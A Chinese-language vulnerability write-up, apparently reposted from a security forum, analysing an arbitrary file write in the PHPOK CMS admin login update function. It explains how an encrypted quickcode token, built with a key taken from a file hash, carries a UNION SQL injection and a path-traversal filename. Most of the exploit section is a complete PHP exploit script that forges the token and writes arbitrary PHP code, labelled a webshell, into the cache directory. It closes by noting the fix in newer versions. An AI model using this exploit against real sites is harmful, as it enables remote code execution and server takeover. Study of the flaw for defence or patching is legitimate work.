0x01 路由分析 网站有三个入口(前端,接口,后台)都是从framework/_init_phpok.php这里执行,进行初始化处理 我们以action_admin为例,func分别通过get请求中的c和f获取,默认值为i...
网站有三个入口(前端,接口,后台)都是从framework/_init_phpok.php
这里执行,进行初始化处理
我们以action\_admin
为例,$ctrl
和$func
分别通过get请求中的c
和f
获取,默认值为index
然后在_action_phpok4
中调用相关的控制器和方法,例如访问http://127.0.0.1/admin.php?c=appsys&f=create
就会调用framework\admin\appsys_control.php
中的create_f
方法
漏洞存在文件:framework/admin/login_control.php
中的update_f
,这个方法的最后调用了vim
函数,
查看vim
可以看到他传入的两个分别是写入的内容和文件名,从而实现任意文件写入
这里的第二个参数$this->dir_cache.$fid.'-'.$fcode.'.php'
中,$fid
和$fcode
都是可控参数,可以直接通过get获取到
接下来看第一个参数$data
,framework/libs/json.php
中的encode
方法是将数据转换成json数据,这里不用太多关注,向上追踪查看$data
是否可控
可以看到这里的$data
是通过$rs['id']
,$rs['account']
和时间戳组成,继续追踪$rs
这里的$rs
有两种赋值方式:
当没有传入quickcode
参数时,需要传入user
和pass
,然后将user
带入数据库查询相关信息并验证账号密码是否正确,但是,由于这里传入的时明文,尖括号,引号等特殊字符会被进行编码过滤,所以这里进行sql注入或者写入shell。
所以我们来看第二种情况,当传入quickcode
参数时,首先会对其进行解码得到$msg
,然后将$msg['id']
带入数据库查询相关信息得到$rs
,而且这里只是验证了查询出的用户名是否和传入的用户名一致。最重要的一点是,由于传入的字符时加密过后的,所以解密后的内容不会被过滤编码,可以顺利构造payload进行sql注入。
所以这里我们需要解决的就是使得$rs['id']
,$rs['account']
可控
由于get_one()
方法是通过id拼接sql语句进行查询的
所以我们可以通过
$msg['id']
等于-2'union select '<?php echo "test_vuln";?>',2,3,4,5,6,7,8,9,10,11#
$msg['user']
等于2
与上面sql注入的第二列一致以使得下面if判断$rs['account'] != $msg['user']
不成立
$msg['domain']
等于目标域名使得$msg['domain'] != $domain
不成立
$msg['time']
等于当前时间使得数据不超过30天
接下来这里主要来看看其时如何进行加密解密的,以便后续我编写加密脚本。
根据$msg = $this->lib('token')->decode($quickcode);
我们查看framework/libs/token.php
这个文件的decode
方法
同时可以发现有加密和解密的函数,是一个对称加密,所以我们需要寻找加密的密钥
查看解密密钥解密密钥是$this->dir_cache.$fid.'.php'
的md5值
即api.php
的md5值,为fb0b413b67dad231a42a6cd8facd5202
所以我们删除加密函数的部分剩下直接照搬复制粘贴写exp(注意直接替换keyid为fb0b413b67dad231a42a6cd8facd5202)
<?phpclass token_lib
{
private $keyid = '';
private $keyc_length = 6;
private $keya;
private $keyb;
private $time;
private $expiry = 3600;
private $encode_type = 'api_code'; //仅支持 api_code 和 public_key
private $public_key = '';
private $private_key = '';
public function __construct()
{
$this->time = time();
}
public function etype($type="")
{
if($type && in_array($type,array('api_code','public_key'))){
$this->encode_type = $type;
}
return $this->encode_type;
}
public function public_key($key='')
{
if($key){
$this->public_key = $key;
}
return $this->public_key;
}
public function private_key($key='')
{
if($key){
$this->private_key = $key;
}
return $this->private_key;
}
/**
* 自定义密钥
* @参数 $keyid 密钥内容
**/
public function keyid($keyid='a')
{
if(!$keyid){
return $this->keyid;
}
$this->keyid = "fb0b413b67dad231a42a6cd8facd5202";
$this->config();
return $this->keyid;
}
private function config()
{
if(!$this->keyid){
return false;
}
$this->keya = md5(substr($this->keyid, 0, 16));
$this->keyb = md5(substr($this->keyid, 16, 16));
}
/**
* 设置超时
* @参数 $time 超时时间,单位是秒
**/
public function expiry($time=0)
{
if($time && $time > 0){
$this->expiry = $time;
}
return $this->expiry;
}
/**
* 加密数据
* @参数 $string 要加密的数据,数组或字符
**/
public function encode($string)
{
if($this->encode_type == 'public_key'){
return $this->encode_rsa($string);
}
if(!$this->keyid){
return false;
}
$string = json_encode($string,JSON_UNESCAPED_UNICODE);
$expiry_time = $this->expiry ? $this->expiry : 365*24*3600;
$string = sprintf('%010d',($expiry_time + $this->time)).substr(md5($string.$this->keyb), 0, 16).$string;
$keyc = substr(md5(microtime().rand(1000,9999)), -$this->keyc_length);
$cryptkey = $this->keya.md5($this->keya.$keyc);
$rs = $this->core($string,$cryptkey);
return $keyc.str_replace('=', '', base64_encode($rs));
}
/**
* 基于公钥加密
**/
private function encode_rsa($string)
{
if(!$this->public_key){
return false;
}
$string = json_encode($string,JSON_UNESCAPED_UNICODE);
openssl_public_encrypt($string,$data,$this->public_key);
return base64_encode($data);
}
private function core($string,$cryptkey)
{
$key_length = strlen($cryptkey);
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
// 产生密匙簿
for($i = 0; $i <= 255; $i++){
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
// 用固定的算法,打乱密匙簿,增加随机性,好像很复杂,实际上并不会增加密文的强度
for($j = $i = 0; $i < 256; $i++){
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
// 核心加解密部分
for($a = $j = $i = 0; $i < $string_length; $i++){
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
return $result;
}
}
function exploit($url, $filename, $code){
$data = array(
'id' => "-2'union select '$code',2,3,4,5,6,7,8,9,10,11#",
'user' => 2,
'time' => time(),
'domain' => '127.0.0.1'
);
$token = new token_lib();
$token->keyid("aa");
$quickcode = $token->encode($data);
echo $quickcode;
echo "<br/><br/>";
$html = file_get_contents($url . "admin.php?c=login&f=update&fid=../api&fcode=/../_cache/$filename&quickcode=" . $quickcode);
if (stripos($html, "success") !== False) {
print "Success,webshell: " . "$url" . "_cache/$filename.php\n";
} else {
print "Error";
}
}
exploit("http://127.0.0.1/", "vul", '<?php echo "test_vuln";?>');
运行此exp会得到$quickcode
的值,并将其带入到url里执行
http://127.0.0.1/admin.php?c=login&f=updatehttp://127.0.0.1/admin.php?c=login&f=update&fid=../api&fcode=/../_cache/vul&quickcode=quickcode
成功写入到/_cache/vul.php
在最新版本中已修复该漏洞,修复方式就是将vim
改成vi
,在vi
中会在最前面添加if(!defined("PHPOK_SET")){exit("<h1>Access Denied</h1>");}
即使后面有php代码也不会执行。
文章来源于:https://forum.butian.net/share/2305
若有侵权请联系删除
加下方wx,拉你一起进群学习